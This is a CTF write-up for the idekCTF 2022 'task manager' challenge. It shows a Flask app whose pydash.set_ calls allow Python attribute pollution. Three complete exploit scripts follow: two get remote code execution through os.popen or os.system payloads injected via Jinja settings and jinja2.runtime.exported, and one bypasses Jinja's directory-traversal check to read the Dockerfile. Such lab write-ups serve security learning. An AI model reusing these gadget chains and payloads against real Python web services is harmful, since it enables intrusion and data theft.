Contents

idekctf 2022* task manager wp

This challenge is quite like a python version of prototype pollution, you can also say that it uses some idea from pyjail, over all, it’s a really interesting one.

Let’s have a look of the source:

app.py

from flask import Flask, render_template, request, redirect
from taskmanager import TaskManager
import os

app = Flask(__name__)

@app.before_first_request
def init():
    if app.env == 'yolo':
        app.add_template_global(eval)

@app.route("/<path:path>")
def render_page(path):
    if not os.path.exists("templates/" + path):
        return "not found", 404
    return render_template(path)

@app.route("/api/manage_tasks", methods=["POST"])
def manage_tasks():
    task, status = request.json.get('task'), request.json.get('status')
    if not task or type(task) != str:
        return {"message": "You must provide a task name as a string!"}, 400
    if len(task) > 150:
        return {"message": "Tasks may not be over 150 characters long!"}, 400
    if status and len(status) > 50:
        return {"message": "Statuses may not be over 50 characters long!"}, 400
    if not status:
        tasks.complete(task)
        return {"message": "Task marked complete!"}, 200
    if type(status) != str:
        return {"message": "Your status must be a string!"}, 400
    if tasks.set(task, status):
        return {"message": "Task updated!"}, 200
    return {"message": "Invalid task name!"}, 400

@app.route("/api/get_tasks", methods=["POST"])
def get_tasks():
    try:
        task = request.json.get('task')
        return tasks.get(task)
    except:
        return tasks.get_all()

@app.route('/')
def index():
    return redirect("/home.html")

tasks = TaskManager()

app.run('0.0.0.0', 1337)

taskmanager.py

import pydash

class TaskManager:
    protected = ["set", "get", "get_all", "__init__", "complete"]

    def __init__(self):
        self.set("capture the flag", "incomplete")

    def set(self, task, status):
        if task in self.protected:
            return
        pydash.set_(self, task, status)
        return True

    def complete(self, task):
        if task in self.protected:
            return
        pydash.set_(self, task, False)
        return True

    def get(self, task):
        if hasattr(self, task):
            return {task: getattr(self, task)}
        return {}

    def get_all(self):
        return self.__dict__

The code is quite simple, the author built a flask app on top of pydash.set_, which is a advanced version of setattr but supports to set a variable by its path.

e.g.

>>> pydash.set_({"A":{"B":"C"}}, "A.B", "D")
{'A': {'B': 'D'}}

Accessing app

As there is nothing much could be use, it’s a good idea to find out a way to access app.py. With pydash.set_(), we can make it happen using some special variables just like we usually do in ssti and pyjail:

pydash.set_(
    TaskManager(),
    '__init__.__globals__.__loader__.__init__.__globals__.sys.modules.__main__.app.xxx',
    'xxx'
)

Adding eval to jinja globals

Let’s have a look back at app.py, and it’s not hard to find some strange codes:

@app.before_first_request
def init():
    if app.env == 'yolo':
        app.add_template_global(eval)

We just got the access to app.py, which means app.env could be modified to anything we want. If we could make the code above run again, we could invoke eval function in templates and then trigger rce. Luckily, after some digging, I just found it’s possible by settting app._got_first_request to False.

Triggering eval

With eval in jinja globals, the next question is how can we invoke it. We all know that jinja recognise variables by {{.*}}, what if we changed it? In app.jinja_env, we could find two properties with the value of {{ and }} named variable_start_string and variable_end_string, which means we could mark any code we want, including eval(.*), as a jinja variable.

Bypassing jinja directory traversal check

eval could only be invoked by ssti, but the html files under templates directorry is obviously not usable. So we have to find a way to bypass jinja directory traversal check to render any file we want.

From the jinja source

https://pics.kdxcxs.com:4433/images/2023/01/21/20230121143335.png
directory traversal check in jinja

we could tell that jinja uses os.path.pardir to check directory traversal, but we could change pardir to something else to bypass it.

exp

By far, we’ve got everything we need to get a rce, the final step is to find a file with eval(.*) in it and modify variable_start_string and variable_end_string properties. I first tried using app.py, but jinja could not parse it properly as I ended up constructing a form in {{ eval{# #}(.*) }}, which is not a valid expression. But we just have the directory traversal check bypassed, why not jumpping out of the chellenge files and find something in python lib instead? And the final choice is turtle.py:

import requests
import re

base_url = 'http://127.0.0.1:1337'
url      = f'{base_url}/api/manage_tasks'
exp_url  = f'{base_url}/../../usr/local/lib/python3.8/turtle.py'
app      = '__init__.__globals__.__loader__.__init__.__globals__.sys.modules.__main__.app'

# add eval to template globals
requests.post(url, json={"task": f"{app}.env", "status": "yolo"})
requests.post(url, json={"task": f"{app}._got_first_request", "status": None})

# bypass jinja directory traversal check
requests.post(url, json={"task": "__class__.__init__.__globals__.__spec__.loader.__init__.__globals__.sys.modules.__main__.os.path.pardir", "status": "foobar"})

# change jinja_env
requests.post(url, json={"task": f"{app}.jinja_env.variable_start_string", "status": """'""']:\n            value = """})
requests.post(url, json={"task": f"{app}.jinja_env.variable_end_string", "status": "\n"})

# add global vars
requests.post(url, json={"task": f"{app}.jinja_env.globals.value", "status": "__import__('os').popen('cat /flag-*.txt').read()"})

# get flag
s = requests.Session()
r = requests.Request(method='GET', url=exp_url)
p = r.prepare()
p.url = exp_url
r = s.send(p)
flag = re.findall('idek{.*}', r.text)[0]
print(flag)

Unintended sol

To begin with, let’s have a look at the Dockerfile first:

RUN echo "idek{[REDACTED]}" > /flag-$(head -c 16 /dev/urandom | xxd -p).txt
...
COPY . .

Which means the Dockerfile itself is copied into the container with flag written on it, so it’s a easier way to get flag by reading Dockerfile instead of rce.

import requests
import re

base_url = 'http://127.0.0.1:1337'
url      = f'{base_url}/api/manage_tasks'
exp_url  = f'{base_url}/../Dockerfile'

# bypass jinja directory traversal check
requests.post(url, json={"task": "__class__.__init__.__globals__.__spec__.loader.__init__.__globals__.sys.modules.__main__.os.path.pardir", "status": "foobar"})

# get flag
s = requests.Session()
r = requests.Request(method='GET', url=exp_url)
p = r.prepare()
p.url = exp_url
r = s.send(p)
flag = re.findall('idek{.*}', r.text)[0]
print(flag)

RCE by jinja2.runtime.exported

https://github.com/Myldero/ctf-writeups/tree/master/idekCTF%202022/task%20manager

In the source of jinja we know that the rendering function acctually invokes environment.from_string, which then invokes environment.compile and returns a code object generated by __builtins__.compile. The code object endded up be execed, if we could control the code object, we get rce.

After some debugging, we could find a variable named exported_names is added into the source code and latter compiled into the code object. And it’s not hard to find that it’s a string array in jinja2.runtime, so we could change it by pydash.set_() and get rce:

import requests, re

base_url = 'http://127.0.0.1:1337'
url      = f'{base_url}/api/manage_tasks'
flag_url = f'{base_url}/../../tmp/flag'

payload = '''*
__import__('os').system('cp /flag* /tmp/flag')
#'''

# bypass jinja directory traversal check
requests.post(url, json={"task": "__init__.__globals__.__loader__.__init__.__globals__.sys.modules.__main__.os.path.pardir", "status": "foobar"})

# replace exported to prepare rce
requests.post(url, json={"task": "__init__.__globals__.__loader__.__init__.__globals__.sys.modules.jinja2.runtime.exported.0", "status": payload})

# trigger rce
requests.get(f'{base_url}/home.html')

# get flag
s = requests.Session()
r = requests.Request(method='GET', url=flag_url)
p = r.prepare()
p.url = flag_url
r = s.send(p)
flag = re.findall('idek{.*}', r.text)[0]
print(flag)